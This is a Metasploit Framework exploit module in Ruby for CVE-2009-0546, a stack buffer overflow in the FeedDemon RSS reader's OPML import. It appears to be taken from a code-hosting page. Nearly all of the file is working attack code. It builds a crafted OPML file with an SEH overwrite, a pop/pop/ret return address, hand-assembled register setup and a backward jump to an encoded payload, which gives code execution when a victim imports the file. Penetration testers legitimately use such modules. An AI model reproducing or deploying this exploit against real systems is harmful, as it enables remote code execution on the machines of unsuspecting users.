143 lines
3.9 KiB
Ruby
143 lines
3.9 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
|
|
is used to import a specially crafted opml file, a buffer overflow occurs allowing
|
|
arbitrary code execution.
|
|
|
|
All versions are suspected to be vulnerable. This vulnerability was originally reported
|
|
against version 2.7 in February of 2009.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'fl0 fl0w', # Original Exploit
|
|
'dookie', # MSF Module
|
|
'jduck' # SEH + AlphanumMixed fixes
|
|
],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-0546' ],
|
|
[ 'OSVDB', '51753' ],
|
|
[ 'BID', '33630' ],
|
|
[ 'EDB', '7995' ],
|
|
[ 'EDB', '8010' ],
|
|
[ 'EDB', '11379' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",
|
|
'DisableNops' => true,
|
|
# We are not strictly limited to alphanumeric. However, currently
|
|
# no encoder can handle our bad character set.
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'ECX',
|
|
},
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Tested OK on XPSP3 - jduck
|
|
[ 'Windows Universal',
|
|
{
|
|
'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Feb 09 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
head_opml = '<opml version="1.1">'
|
|
head_opml << '<body>'
|
|
head_opml << '<outline text="'
|
|
|
|
header = "\xff\xfe" # Unicode BOM
|
|
header << Rex::Text.to_unicode(head_opml)
|
|
|
|
foot_opml = '">'
|
|
foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'
|
|
foot_opml << '</outline>'
|
|
foot_opml << '</body>'
|
|
foot_opml << '</opml>'
|
|
footer = Rex::Text.to_unicode(foot_opml)
|
|
|
|
# Set ECX to point to the alphamixed encoded buffer (IIIII...)
|
|
# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8
|
|
off = 0x1ff2
|
|
set_ecx_asm = %Q|
|
|
mov ecx, [esp+8]
|
|
sub ecx, #{0x01010101 + off}
|
|
add ecx, 0x01010101
|
|
|
|
|
set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string
|
|
|
|
# Jump back to the payload, after p/p/r jumps to us.
|
|
# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
|
|
# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
|
|
distance = 0x1ffd + 8 + 5
|
|
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
|
|
|
|
# SEH
|
|
seh_frame = generate_seh_record(target.ret)
|
|
|
|
# Assemble everything together
|
|
sploit = ''
|
|
sploit << set_ecx
|
|
sploit << payload.encoded
|
|
sploit << rand_text_alphanumeric(8194 - sploit.length)
|
|
sploit << seh_frame
|
|
sploit << jmp_back
|
|
sploit << rand_text_alphanumeric(8318 - sploit.length)
|
|
# Ensure access violation reading from smashed pointer
|
|
num = rand_text(4).unpack('V')[0]
|
|
sploit << [num | 0x80000000].pack('V')
|
|
|
|
evil = header + sploit + footer
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(evil)
|
|
|
|
end
|
|
|
|
end
|